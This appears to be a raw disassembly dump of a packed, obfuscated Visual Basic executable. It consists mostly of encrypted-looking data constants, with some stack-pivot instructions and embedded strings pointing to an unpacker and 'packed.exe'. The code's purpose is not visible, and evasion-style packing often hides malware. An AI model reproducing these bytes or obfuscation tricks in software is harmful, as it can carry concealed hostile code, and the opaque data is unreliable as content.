		dd 9A51A41Ch, 83FE29CBh, 1EA80C6Fh, 21372BF5h, 791A21BDh
		dd 0F508BE1Ah, 0B32F372Bh, 0B06D2C06h, 97A477D3h, 4FD33DE7h
		dd 9C59002Ah, 755A5BFFh, 5E7D3BA1h, 3F5CC0E7h, 0E386A11Ch
		dd 0C85A7DC0h, 5D6C46E6h, 0C245C0FBh, 0F7000000h, 2A096C4Bh
		dd 0F4D7B295h, 2F0C694Eh, 0F5D6B394h, 1E0A6F48h, 0B99E235Ah
		dd 6641FFDCh, 0BE992003h, 6740F8DBh, 44E08302h,	3161EFF2h
		dd 521592C5h, 8EADC8EFh, 0F3741136h, 0AECDEA52h, 0A712358Dh
		dd 9F07BF9Ch, 0A73B0027h, 0F216583Bh, 75F88DBCh, 93B9DC69h
		dd 0F6C0FE8h, 0B2BD0141h, 4A0DC3Fh, 372B2AB2h, 0CFAC1985h
		dd 0E14CD96Bh, 7942DE3Dh, 0A0C5E25Ah, 271C3B83h, 1DE8A283h
		dd 0CDF150D0h, 294A6DD5h, 0AC97B00Ah, 0C3E08530h, 1C3F5C7Bh
		dd 0A3184A3h, 8EB59229h, 1E4874D5h, 10A5823Dh, 0C9AC8B33h
		dd 4E7552EAh, 5CEA4E2Dh, 63123428h, 8823B1FFh, 0CAC66990h
		dd 3FA7Fh, 0E77D0000h, 0C9EE5260h, 4E69D1F2h, 0C8EF5675h
		dd 496ED0F3h, 0CBEC5172h, 496ED3F0h, 0CDEA5172h, 486FD5F6h
		dd 0C8EF5073h, 0CE6870F3h, 89000013h, 2068242Ch, 8900006Dh
		dd 868243Ch, 89000059h,	0B8502414h, 568A5DA9h, 390CB951h
		dd 5CBF4BC7h, 31171345h, 0C72959CFh, 148B5458h,	4C48324h
		dd 38ED68h, 243C8900h, 41242C81h, 8F67F105h, 42810842h
		dd 0F1054108h, 2434FF67h, 4C4815Ah, 8B000000h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550F18
; ---------------------------------------------------------------------------
		db 9Ah
		dd 8CB870EFh, 3064A2Dh,	61E0FFC5h, 15439DEh, 95428BDh
		dd 24651D95h, 0C32BCF90h, 754F07E6h, 50762FD7h,	0E21A428h
		dd 2D04A427h, 4112358Eh, 463FD5E1h, 0E6139E1Ah,	0AF5A49ADh
		dd 37435E84h, 0A46854D1h, 107815DAh, 7C57E9B5h,	6A4EEC15h
		dd 2D0DC047h, 0A50D1A1Ah, 0AD30E005h, 0D86AF8A5h, 0FA3170F8h
		dd 6A59923Bh, 1B0F2F8Dh, 0D226762Ch, 8A590578h,	975C59E5h
		dd 0F22D7000h, 8D7E486Ch, 4A2F578Dh, 0FE906h, 1C010000h
		dd 59CD984Eh, 691AA3FFh, 390FD3F4h, 5D8D8945h, 6A06442Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0A813C357h, 5402CA3Eh, 0BD31D6BCh, 644025Dh
		dd 67985C7h, 69F00644h,	0BF0F0000h, 7185C7FBh, 64410h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0B3E2C351h, 0B9B5FF71h, 6A06441Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 38CC352h,	0BF0F6417h, 0C0B70FC3h,	0BF995FFh
		dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 322908C3h, 15358533h, 6A0644h, 1C4D95FFh
		dd 0C08B0644h, 25666DEBh, 0E12C0CE6h, 0F3E92115h, 83C4231Fh
		dd 7A625EFCh, 145F26FDh, 59123E40h, 0B8B37BB6h,	31A406C4h
		dd 23336241h, 0C31A7D78h, 10909F53h, 0A6C7708h,	49CBC3D2h
		dd 0AE67C4F7h, 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh
		dd 0D162FF12h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h
		dd 0BFFF05FDh, 0E17FFE51h, 0A4A2C0E6h, 8D9FA25Dh, 4A30A58Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0B0B49E7h, 442D9DB5h, 89F88B06h,	442F5D8Dh
		dd 7985C706h, 30064406h, 6A00006Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4E7AC353h
		dd 0B866718Eh, 85C7EF04h, 6441071h, 0
		dd 341BB66h, 1C9DB5FFh,	6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0EDB43CC3h, 9E889h, 0D330000h
		dd 0A9BCFD88h, 33F470AFh, 4407B185h, 95FF5E06h,	6440BF9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 4DC35040h
		dd 0DC37D7B6h, 0FFEA8166h, 0D4DE805Ah, 95FF006Ah, 6441C4Dh
		dd 4FEBC08Bh, 5DD1BAE1h, 9AC44CCDh, 7A226F13h, 47620DBDh
		dd 0E683A65Bh, 13F65802h, 1CD4284Bh, 58FB5F93h,	55E61C59h
		dd 2A09EFE9h, 0BA562351h, 109C62E0h, 8DA20BA4h,	49311CD2h
		dd 18FD0CEDh, 0D40AA620h, 4B2D08B6h, 116F1832h,	8833065h
		dd 0E8CCB770h, 13h, 0E2D7FB2Ch,	0A3E26888h, 0D744890Fh
		dd 0B88E57E5h, 8B71DB19h, 442A6185h, 8B0F5E06h,	5, 1EF6B9B9h
		dd 0B3C6813Fh, 89000073h, 441F7D95h, 6806h, 815F0000h
		dd 69467DC9h, 3E148B66h, 0F71DEA81h, 81662E1Ah,	818294EBh
		dd 2696E6C2h, 19BD8909h, 81064422h, 0CA9FB4EAh,	2FF48067h
		dd 0B83E1489h, 0F361730h, 6B42B966h, 8104EF83h,	9C58EBD1h
		dd 0D0FF8126h, 0FFFFF8Ch, 0FFFFBC85h, 618D8BFFh, 0E806441Eh
		dd 0Dh,	0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h, 895BF52Bh, 442A499Dh
		dd 6EC38106h, 100005Fh,	44244185h, 0D3CABE06h, 0C6815D17h
		dd 0A2E843DEh, 0BDD9D31h, 33FF0644h, 0CD98D89h,	0E9580644h
		dd 14h,	710DF218h, 1DF64A50h, 0A0BE7153h, 9CB9959Eh, 0CBCAD171h
		dd 4B66F081h, 0EE806E08h, 0C7E88122h, 504B126Ch, 558589h
		dd 81590644h, 2EE3CDF0h, 8166604Eh, 8B593BC3h, 44156595h
		dd 8B506106h, 60038FF8h, 8361DA8Bh, 4B4B01EBh, 5E84Bh
		dd 6C60000h, 5A0D5CC6h,	1EE81h,	850F0000h, 16h,	2800Fh
		dd 5F510000h, 21E9h, 0F676E300h, 22884CB1h, 0CE8BEBCDh
		dd 0FFFF71E9h, 4AA8DFFFh, 8F354BBEh, 5F70E0B8h,	92707DFEh
		dd 13E87CFAh, 0C000000h, 0AD244384h, 0AA8684E1h, 0E36C1E77h
		dd 0C818154Eh, 9501D839h, 6443249h, 29C18159h, 2B00005Eh
		dd 13E8DBh, 6A4E0000h, 29728517h, 0A046E324h, 77A80216h
		dd 8DC5B98Ch, 2995292Bh, 5A064410h, 0E90B34FFh,	0Fh, 0D018CDD1h
		dd 0E86BD79Ah, 354A59BEh, 5FED0968h, 11E8h, 8EB5E600h
		dd 28BA4E2Eh, 0D576508Dh, 0A228D94Ah, 0BD894FFCh, 6442575h
		dd 58C7815Eh, 0B8212264h, 5B22CCBFh, 0CE8FC781h, 0BAB83EEFh
		dd 814B1C09h, 46A325F7h, 6850F79h, 89000000h, 441771B5h
		dd 9E95706h, 0AB000000h, 8E73D81Ch, 7493BFCh, 0E819048Fh
		dd 9, 4F709B2h,	0F2262692h, 0A55BE3Bh, 805A1248h, 0EB81C0D2h
		dd 459EAC56h, 2C71B58Bh, 0C3810644h, 459EAC52h,	0A2B8FB81h
		dd 850FFFFFh, 0FFFFFF5Ch, 15CE9h, 0E705C500h, 5C3A4377h
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 7Fh,	50h, 0Fh
		dd 1B83E906h, 0BD680000h, 0E9064A36h, 0FFFA4A62h, 4A378F68h
		dd 4A58E906h, 8F68FFFAh, 0E9064A38h, 0FFFA4A4Eh, 4A397A68h
		dd 4A44E906h, 0B968FFFAh, 0E9064A39h, 0FFFA4A3Ah, 4A3A8968h
		dd 4A30E906h, 0DC68FFFAh, 0E9064A3Ah, 0FFFA4A26h, 4A3B3768h
		dd 4A1CE906h, 968FFFAh,	0E9064A42h, 0FFFA4A12h,	4A429E68h
		dd 4A08E906h, 7968FFFAh, 0E9064A43h, 0FFFA49FEh, 4A447668h
		dd 49F4E906h, 0F668FFFAh, 0E9064A44h, 0FFFA49EAh, 4A45A268h
		dd 49E0E906h, 3168FFFAh, 0E9064A46h, 0FFFA49D6h, 4A46DD68h
		dd 49CCE906h, 2E68FFFAh, 0E9064A4Dh, 0FFFA49C2h, 4A4E1B68h
		dd 49B8E906h, 0C068FFFAh, 0E9064A4Eh, 0FFFA49AEh, 0B41DBF25h
		dd 3AA1A8Ah, 0BE17C53Dh, 14BD1F80h, 0A108BC2Ah,	45A39983h
		dd 9D08369Fh, 51B08E27h, 77C42EBh, 0D4B0F45Dh, 0E65F904Bh
		dd 0DD6F39C2h, 0F76ED64Fh, 41E85CC9h, 46226B07h, 74B4EBD9h
		dd 274362CFh, 741DDC43h, 7AE6C2ECh, 0DD95B4C2h,	741CDB44h
		dd 0E79CC2ECh, 8F6ED63Bh, 4E87FBB0h, 35000000h,	76129B37h
		dd 0BB92C12h, 9449F06Fh, 0A382C930h, 9FE674EBh,	4735CF74h
		dd 0CDC31B13h, 1C6A2227h, 0FC92006Eh, 0F9D83EADh, 9E3EA39Dh
		dd 17CD3907h, 78E77E36h, 0C2EBE5BDh, 75DA443Fh,	0FBB00511h
		dd 5B72816h, 0A5F5BD9Ch, 0E1h, 71D64F17h, 128BAA12h, 6E0ABA2Ch
		dd 0D64FF550h, 1826BFF7h, 635D39ABh, 8C155DFFh,	3A9351B2h
		dd 30983EA5h, 0F66ED7C9h, 4004615Fh, 46D9BDD9h,	0C9309093h
		dd 1B5D1534h, 0C55A3E77h, 0CF749307h, 3D036746h, 0F75E16C6h
		dd 92AAE193h, 0CCE25088h, 5170E953h, 710270h, 0E30C99Bh
		dd 25700046h, 0CF66DE41h, 0CBF5C932h, 187CE557h, 2DCED487h
		dd 0F5D4F5C9h, 40B9CBBDh, 0C5989265h, 0B48AEECFh, 2809904Ch
		dd 0CC3A0460h, 53219B07h, 0CA7D0C79h, 0FB5273C6h, 44E163C5h
		dd 7DEEED76h, 9FA531A8h, 0F2000018h, 0BB852C90h, 0E30994Bh
		dd 0BD832A92h, 0F319844h, 0A0822B99h, 0A2228478h, 12D2350Bh
		dd 0BE1E85BBh, 8BC2917h, 1E81E5A1h, 0C2E65E5Bh,	15883A6Ch
		dd 4C04B82Bh, 0F9501472h, 4FE65EC7h, 129B37FDh,	9F53E976h
		dd 9BBACF74h, 88DA9D02h, 0A1DAC2ECh, 0A8349075h, 0AFC1FBB0h
		dd 0A5000000h, 2CB5279Bh, 1233B112h, 0D64FE85Ah, 5FC9F76Eh
		dd 80E37CE5h, 91C93098h, 2719B034h, 0D99F06BEh,	798FC39h
		dd 0CF749345h, 680CA584h, 7D4B671Ah, 1F57ED2Eh,	187CB959h
		dd 0AB38E37Ch, 0B091C2EBh, 0AB904BD4h, 1839C2EBh, 2AAB3450h
		dd 0E3C93250h, 2E98A6C2h, 510897F3h, 7AC92E48h,	4815C45Bh
		dd 97B6C92Eh, 0C7211FB6h, 6E80B81Dh, 0AF367DEEh, 17CD3Bh
		dd 0FA62C000h, 4BF96D53h, 0F864DCE2h, 4AF26F51h, 0F96BDDE3h
		dd 0B2AA7250h, 7399054h, 0B38D24A0h, 7B45EC50h,	0B7F35A0Ah
		dd 5D8D4CD3h, 683EC2E6h, 6BD94FDAh, 0DD87FCC2h,	0D64FC674h
		dd 8AAB1171h, 6C519CEEh, 1FCED2EFh, 93F0CE57h, 0E2163A82h
		dd 176517CEh, 41B8A52Eh, 4CE5C4B0h, 4B2F660Ah, 0F6A22439h
		dd 6B23D7A4h, 6586900Fh, 6647CF74h, 43B560FFh, 0E55EC2ECh
		dd 6CD8E67Fh, 700B61F8h, 6A1156A6h, 5EEB5BC0h, 0BC08FBB0h
		dd 0BA000000h, 0B75BC8C2h, 0BB851A7Eh, 1ACF7496h, 3E47B3Bh
		dd 7097873Ah, 433155E0h, 5151FBADh, 0AECA8225h,	966C6F31h
		dd 55CAAEFCh, 0F4963DA6h, 43270627h, 3D01B827h,	2182F496h
		dd 6D1B3AA3h, 0EB72F253h, 0AF99EBCAh, 1BC14398h, 0A1E77E36h
		dd 7FE08411h, 0FADD0E67h, 0DDE387A6h, 3155FC68h, 0B72E960Fh
		dd 83E0DE96h, 0AB6A64C1h, 59CAF31h, 16CD91h, 0FA62C000h
		dd 4BF96D53h, 0F864DCE2h, 4AF26F51h, 0F96BDDE3h, 0B2AA7250h
		dd 7399054h, 0B38D24A0h, 7B45EC50h, 0B7F35A0Ah,	5C8D4CD3h
		dd 683EC2E6h, 426715DAh, 0AD79AC1Fh, 0F1526C24h, 4ACEA73h
		dd 6472ED89h, 0A5CF7478h, 0C29F2D84h, 0E04779C8h, 0C66A2C64h
		dd 714F2B4Fh, 6A38FC15h, 411E0E90h, 0E6D8F960h,	7B5AC379h
		dd 12D2AC33h, 0D33CF74h, 4B0B2A9Ah, 14B1112Fh, 8DAC35AFh
		dd 0B33192ACh, 0DC430B2Ah, 4A15090Fh, 0EE56C46Ch, 64D84876h
		dd 99FDDCFDh, 8303806h,	3CA7994Eh, 22BB299Fh, 67032203h
		dd 0EB72EA59h, 7F1B82CAh, 457BE141h, 0C7E67FDDh, 0EC29C98Fh
		dd 0A10F1788h, 0EFCE484Fh, 109DEF8Bh, 0DB332A87h, 178CB2FAh
		dd 8EF7C9ADh, 0B42B4FD6h, 47C18A05h, 8EC6E7C6h,	38AC1927h
		dd 8328899Dh, 0F266FFFCh, 15E2h, 0C46DCF35h, 73DA8AFAh
		dd 0CE67D54Dh, 842D8FF0h, 31984CBAh, 0B5130913h, 2D98A60Fh
		dd 0C1201EB7h, 178CB21Bh, 244004ADh, 0E65B00BBh, 2D9FC9C2h
		dd 0CB6ED64Fh, 7DEC22D1h, 0A3CA5EC7h, 0F6000015h, 4779D08Ch
		dd 0F2CC65DFh, 0B9872E8Eh, 33D9448h, 0B4963FA5h, 2E96F06Ch
		dd 964EB987h, 3AA2013Fh, 8C38AD93h, 9A056125h, 0C2E65ADFh
		dd 4F0CBEE8h, 0B1F76ED6h, 231AC721h, 0DE8763C4h, 9BFF9BFFh
		dd 7EF48CE9h, 61FE174Fh, 0C92FCABAh, 0E57A3213h, 0CF73EB47h
		dd 0BD0EA786h, 64B14146h, 0ABC19F00h, 2100C92Fh, 6F593745h
		dd 261C8DA5h, 0A039AB18h, 1689C981h, 65D93BB1h,	43276E02h
		dd 0C35A0A7Dh, 51CEAAE2h, 32CC038Fh, 3076EFCEh,	0EE7115A0h
		dd 348B4DD6h, 16721637h, 6D09BB28h, 84CB47F2h, 0E9A1802Ch
		dd 0D7B36ED7h, 84CB9148h, 841B3A2Ch, 2C84CAD5h,	7CE9D7F6h
		dd 517051C8h, 0F85DC6F8h, 52F7D68Eh, 0E147EAB2h, 0D345D148h
		dd 0C6000014h, 7749E05Ch, 0C2FC550Fh, 6957FE5Eh, 0D3ED44F8h
		dd 4466CF75h, 5E0660DCh, 0E65EC9F7h, 0AA12714Fh, 1CC83D03h
		dd 0A95F1B5h, 0C2E65A4Fh, 0EE9C2E78h, 0C930942Bh, 30A4C275h
		dd 942BEAC9h, 0C275C930h, 4BC93094h, 39CF6ADAh,	0EF7DEC23h
		dd 1480E276h, 31930000h, 0A81C228Bh, 37AB953Ch,	0AD122C85h
		dd 2E98A60Fh, 0F33D1FB6h, 8C259F09h, 389153B2h,	88219B06h
		dd 3E974DB6h, 0DA811E7Ah, 0F3C2E659h, 9B3717A5h, 44F86957h
		dd 0B863FCDDh, 15C93094h, 3F2F23A3h, 0BB9AECFAh, 0C361FE9Ah
		dd 1ACF73E1h, 0D0629E3Bh, 31A87BA8h, 1425A5h, 520A7800h
		dd 0E361C5FBh, 500C744Ah, 0E25AC7F9h, 5113754Bh, 0EA52DAF8h
		dd 5F61C87Ch, 0EBD57CE8h, 536DC478h, 9FDB72F2h,	59B564FBh
		dd 4016C2E6h, 6ED64FF2h, 0E85CC9F7h, 6ED64F71h,	0E75DC9F7h
		dd 7615F7Eh, 0D5AEC45Dh, 0EE95F349h, 53B38D44h,	30A9138Eh
		dd 4E783011h, 1F4AFD6h,	301Fh, 27EEAD00h, 8AC93094h, 0DA9252B4h
		dd 6CDA7FE4h, 1470D9F8h, 930ABA2Ah, 0AA8B39ADh,	9DC7DE2h
		dd 1A7EC98Ch, 9801BB24h, 0FC68F1B9h, 1396h, 8B67154Eh
		dd 443A7B76h, 3CA997DFh, 0BB571188h, 0E3891672h, 0EACF740Fh
		dd 8C2462CBh, 0EC5B6501h, 0FEC0E178h, 0F397DF85h, 2FE9526Ch
		dd 239FA1C9h, 931A99EAh, 1A3B2C66h, 994BBD83h, 0E286F0B8h
		dd 2FEFBE7Dh, 0F2E0FC9h, 8438A896h, 0EF04B22Dh,	198DC92Fh
		dd 0A0451CF8h, 74F38143h, 61C8E97Ah, 152EE75Fh,	4F4D1790h
		dd 95B43095h, 3B492DB4h, 8E9A6B44h, 83BDF565h, 632F223h
		dd 6D94E6FAh, 0AFCBD54Ch, 0CFA554CBh, 0F56EC92Fh, 81F7D64Fh
		dd 8793E8A0h, 238A3AAAh, 0F3EEB115h, 0DE487601h, 96DEFF66h
		dd 1BAC6h, 59C6A200h, 0C92FDBA2h, 0F0420A2Bh, 76129B37h
		dd 749F43E9h, 32AB8ACFh, 0CF33980Ch, 0F4D5F46Dh, 8933AE90h
		dd 0D0793110h, 57CE76EEh, 0EC990DC8h, 0D389F6C2h, 550F744Ah
		dd 63CFB4CCh, 95E783E9h, 0CC0F1903h, 0FA675967h, 0B2FADB42h
		dd 94AA5DC9h, 118EB02Ch, 69DDE3ABh, 7C1452FBh, 30CA5531h
		dd 99C9303Bh, 374521B8h, 0B54104F5h, 704E068Eh,	0F4CAAE16h
		dd 0CE672F8Dh, 0B23294AAh, 0E262C4FAh, 9547B886h, 0FC652D0Ch
		dd 2FFDB663h, 0A6700BC9h, 0CC65DF49h, 4BD292F2h, 0CA531175h
		dd 9683AFD4h, 291FB62Eh, 1F41CBDh, 4476h, 2B15C400h, 0BC9D04B8h
		dd 0E85CCAF4h, 74D94F71h, 8404020Bh, 36D47328h,	8EAF8E17h
		dd 0A8720917h, 367DD4Bh, 0E4263071h, 2FDDC07Bh,	5A2809C9h
		dd 6385BD1h, 9CBD24A0h,	0DB4B7DD4h, 1801F479h, 0CBh, 129B37AAh
		dd 0C1A3E976h, 0CBEACF74h, 9C083652h, 0D890B128h, 6FC67EE6h
		dd 0D64FF551h, 51C87CE8h, 57EA344Fh, 66EDAC33h,	0E0DEC2ECh
		dd 8EFCDD7Fh, 0AC831541h, 7749014Fh, 98FC550Fh,	269E3BA6h
		dd 270627BEh, 0E1D79FBEh, 0FBAFF185h, 74AEh, 91F4CA00h
		dd 236B4AD3h, 0DE671591h, 74E4813h, 75EC58CEh, 7B3D7554h
		dd 5B3F5BDCh, 0F9F9A03Fh, 5FC0C92Fh, 0C92FFA9Ch, 1E7A0C2Dh
		dd 2FF9DA81h, 0F3D2F3C9h, 0FAC524BBh, 7014C92Fh, 2FFA2CEFh
		dd 42A39DC9h, 9DEBA382h, 0FAB366F9h, 3514C92Fh,	63128D14h
		dd 6AC92FFBh, 0C5500511h, 208B1470h, 0BBC92FF9h, 0DBC127C9h
		dd 632B5466h, 99D3415h,	7, 36E5BBh, 4F570000h, 0CEF069D3h
		dd 7947EE56h, 0AACE570Dh, 94AA51CEh, 1D23C930h,	83A23BA9h
		dd 5ACEAA2h, 93B22A97h,	93E1950Ah, 562DC930h, 0B4FF67CCh
		dd 233401F4h, 8600000Ch, 8A139C37h, 0DBC8DD15h,	0C8522952h
		dd 0FCA5531h, 0F03F8560h, 97B62F95h, 0A93393E1h, 1AACF5BBh
		dd 0E145733Bh, 2678498Ah, 0EE71A818h, 3F85772Bh, 0D49CBD9Ch
		dd 2A84h, 9C373600h, 31E87713h,	88C93094h, 0D9450B6h, 2C12642Ch
		dd 0B32A0BB9h, 0A4620F2Ch, 6CB6CD72h, 80E61F87h, 28FD458h
		dd 37660000h, 64A1139Ch, 0BC2B15D6h, 8EB09108h,	1233AA12h
		dd 45FF645Ah, 0C1DF5321h, 10893BABh, 4C294331h,	1564D69Eh
		dd 420ABA2Bh, 0EF47B002h, 404F4A7h, 42h, 139C37B6h, 58F20577h
		dd 99C63618h, 2F2AB7EBh, 733BE46Eh, 0CC8A15C1h,	0FDC93093h
		dd 1B86B8DCh, 511938A1h, 4F7115E3h, 90226AD2h, 0DB69D34Fh
		dd 7115F143h, 30942BEEh, 0F5BD9CC9h, 3B61h, 9C37D300h
		dd 8A15A113h, 0C93093CCh, 0CE76D1EFh, 0DD487657h, 97DFFE67h
		dd 156CDEFFh, 69D34FA7h, 0B72B15DBh, 941CDF40h,	8CADC930h
		dd 2B1534ADh, 734109BBh, 3B92917h, 41F3BB9Ah, 61A38FEEh
		dd 964EB8E3h, 20A4013Fh, 279D0B35h, 29930C32h, 3049C2B0h
		dd 0FED9AF3h, 8910D431h, 0ACA08AF1h, 178BB5D1h,	551D3CA5h
		dd 0AE17042Eh, 0DB487636h, 83A7A93Ah, 0B3925E1Dh, 0A75F15A6h
		dd 80E552DCh, 49BA84C4h, 46A01D84h, 8B9EBF9Eh, 692F53B5h
		dd 58AEFE99h, 0F4526C79h, 6CD7E970h, 0ECCD77EFh, 6106B75h
		dd 0E6304B36h, 0F26D9C09h, 0AEFE9947h, 0C080A180h, 0B8DC88FEh
		dd 0E94633CAh, 0F1B973F8h, 4BEEDB68h, 9F09E630h, 67F4125h
		dd 0DBBF165Eh, 5BC282E5h, 970C327Ah, 0A006382Dh, 0FF1ADC9Ah
		dd 0D9CCEDAEh, 59C07CE7h, 0DC45FF67h, 0CA42EC97h, 0D643EF94h
		dd 89B7F76Dh, 6F59FB1Ch, 0F3913ADh, 0A2BEA080h,	0D1F0D1FCh
		dd 3C3E77C4h, 1A24DB47h, 407E36A6h, 1F2161E3h, 645A3EA6h
		dd 0B7A4400h, 0A9E1C059h, 79E6D8BCh, 337B5AC3h,	0CA369B0Dh
		dd 5B263312h, 15C45B3Fh, 0B6AEFEF3h, 7AA4DF97h,	0FCBC289Dh
		dd 6ED64F4Eh, 15D664DCh, 4E06B62Bh, 9A286D08h, 0EF478331h
		dd 404F4A7h, 43h, 61E65E60h, 0E67F5E06h, 373D8FC7h, 15A517A0h
		dd 3093CC8Ah, 60C3FDC9h, 44DD7FE3h, 0E3DD4465h,	6445DC80h
		dd 0F7E3745h, 0F6017348h, 0A71565D7h, 96DD74Fh,	8910CC37h
		dd 4352E0A8h, 51E5F1h, 37570000h, 279D08A0h, 0DABE9FBEh
		dd 59A7DE4h, 0C9309456h, 0EE775677h, 153587CFh,	991C2D67h
		dd 246C83ABh, 0A91A2440h, 2AEC733Bh, 85C93086h,	711516A4h
		dd 0F56CD84Fh, 4F2E9CD4h, 37096DD7h, 0E97612CAh, 0C9309432h
		dd 40F2BA9Bh, 9BB2B15h,	0EEC17341h, 0C930A2A5h,	28A7D5B1h
		dd 4F9A16AFh, 21A53179h, 0C1FFFFFDh, 0AEDA68B3h, 0FC981849h
		dd 301BB863h, 783011C9h, 0EE7115CAh, 0C930942Bh, 6AF5BD9Ch
		dd 0C93094ABh, 10D4300Eh, 3A731E58h, 8735AD93h,	93DA811Eh
		dd 86FDC930h, 9943BF9Ch, 31960E30h, 0E74E6FD5h,	188116A1h
		dd 86E71D87h, 2CF68D0Bh, 9E5C5FC7h, 24594BFh, 0EE260000h
		dd 0C9309428h, 309309A9h, 0BB2B158Ch, 6D092809h, 47F26D09h
		dd 80C93094h, 7476E9A1h, 0B5CF74BEh, 6B8B4ED1h,	0B12EC2ECh
		dd 0C2EC6B0Ah, 0B594E2C3h, 67593D94h, 360840FCh, 0EF8B12CAh
		dd 0CED5349Dh, 9AE85079h, 0B4B8BE24h, 0A19FD7A1h, 62069F45h
		dd 5AAFD610h, 652D6566h, 0E079EB5Bh, 0E7830AA6h, 305F5E78h
		dd 2B8EAFC9h, 7DEC19E9h, 5312861Fh, 4600000Dh, 0F7C960DCh
		dd 427CD58Fh, 0E9D77EDEh, 536DC478h, 0C4E64FF5h, 0DE86E05Ch
		dd 66DE4977h, 2A92F1CFh, 9C48BD83h, 8A157135h, 0C2E651CFh
		dd 4F1CAEF8h, 0B1F76ED6h, 6FF09421h, 0CF7AC932h, 9E46BF81h
		dd 186E2607h, 0A31EBB26h, 5D391839h, 395DFF63h,	4004635Dh
		dd 0E6601CDFh, 0C48CADC2h, 8EF536Dh, 0E65FE497h, 0E5C4E5C2h
		dd 63E1427Ch, 0D3647507h, 509301AEh, 2BC78118h,	0D42CDB1h
		dd 44651FFCh, 3A25BF20h, 0C5E4C92Ah, 0E249A860h, 53C75E7Dh
		dd 0CBEh, 60C973D1h, 0D77EE65Eh, 6AC379E9h, 0D871EB54h
		dd 6DC480E6h, 1177E54Fh, 61C4FA53h, 0D744AE3h, 0CB3806AFh
		dd 90F4B019h, 0E6524C0Fh, 992B7DC2h, 0F76ED64Fh, 0F09421B1h
		dd 94500B94h, 0F46BC930h, 0C9309445h, 0F0D1A786h, 3D43DCB8h
		dd 8ECF74AFh, 0C72F69FCh, 5C14A497h, 9CA20B2Ah,	8143A227h
		dd 0B1183918h, 0B6D25BF7h, 0EEA61E88h, 0CFF7158Ah, 0D7F6C935h
		dd 0A7158DB3h, 0DB89FDC3h, 0FD410DA9h, 0D39B9872h, 5B6C1E7Ah
		dd 2909D556h, 0CC340A42h, 0B72E960Fh, 102EB796h, 0EEA831B3h
		dd 0F06CD442h, 0D694869h, 66871092h, 80E5DBCFh,	7C3FA0C4h
		dd 4DC2E65Fh, 3652246Ch, 0E65EF2A9h, 0A356C9C2h, 24C2E65Fh
		dd 68017305h, 1EF18A96h, 0DD785978h, 7BA6EC03h,	0E3F86CF5h
		dd 3600000Bh, 87B910CCh, 320CA51Fh, 0F9C76ECEh,	437DD488h
		dd 0F4D67FE5h, 6ED6302Ch, 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h
		dd 0DA452165h, 0C2E6511Fh, 4F4CFEA8h, 780A6ED6h, 0A57AA4A6h
		dd 0FD642C05h, 0FA9E17BBh, 73CDE765h, 0A71826CFh, 2809BB2Ah
		dd 269EA009h, 0B92917BEh, 9B22D946h, 8AABC2EBh,	15B002ABh
		dd 4C04B82Bh, 4B2F660Ah, 74B906D4h, 0AE3155CFh,	0C2EC6FEBh
		dd 7427B8DCh, 55C2EC70h, 6B1D5574h, 0C5B7D34Ah,	2554BCAEh
		dd 37A8E0D2h, 0C2EC0980h, 0FD629D09h, 0C2EC093Eh, 168FAE8Fh
		dd 550B928h, 93A60BEAh,	0F8B32A0Bh, 0E2A59783h,	3CA88D99h
		dd 0F9FBB0ADh, 9Ah, 6DD74F4Bh, 0EA5ACAF4h, 3BD44D73h, 0CAC866F6h
		dd 158CAD4Eh, 48AA0371h, 0BADF2F4Ch, 0EC58CCF2h, 0A81F2145h
		dd 0BA84A53Ch, 2001984Ch, 0B822E68h, 0B2FEF06Fh, 1E3FCF74h
		dd 0A8011FBBh, 0A034AD7Bh, 0AE6h, 0B811CB39h, 0FA61E86h
		dd 0C26BD131h, 70D983FCh, 0C56CD84Eh, 69DF3DE7h, 0F96C52FBh
		dd 65DCE24Bh, 3605EF7h,	0C8ACE841h, 0E650A457h,	0C17325C2h
		dd 1472D74Fh, 32ADC950h, 0C9309487h, 61406140h,	6A5CC8h
		dd 5C380000h, 309418C3h, 188FB1C9h, 351435ACh, 0D74FCF7Dh
		dd 0CED2A23Eh, 8A9DEF55h, 4BD2F375h, 4C28650Dh,	742AC5D3h
		dd 0BC2816CFh, 17364008h, 0A84D18B2h, 0A337AE7Bh, 0A66h
		dd 38914BB9h, 8F269E06h, 42EB51B1h, 0F059037Ch,	45EC58CEh
		dd 0E95FBD67h, 79ECD27Bh, 0E55C62CBh, 83E0DE77h, 482C68C1h
		dd 0E65024D7h, 41F3A5C2h, 0F76ED64Fh, 8FF75CC9h, 0B6DF4D5h
		dd 0E541A670h, 3A01F4AFh, 4024A004h, 309C1CDFh,	0C48CADC9h
		dd 1FD94h, 18C22600h, 4A2E670Bh, 74970BD5h, 2B6B4ACFh
		dd 843AA4B4h, 74C151B6h, 38E66210h, 403AD14Eh, 0DF36C08h
		dd 4CD9A0B1h, 1EB2F46Dh, 0A997F397h, 3F1E873Dh,	27DCE877h
		dd 1031DBE0h, 6BD94A74h, 9887FCC2h, 60015407h, 755475D3h
		dd 3CB060D0h, 8B1F8688h, 9BAh, 6CC577EDh, 0DB72F252h, 76DF7DE5h
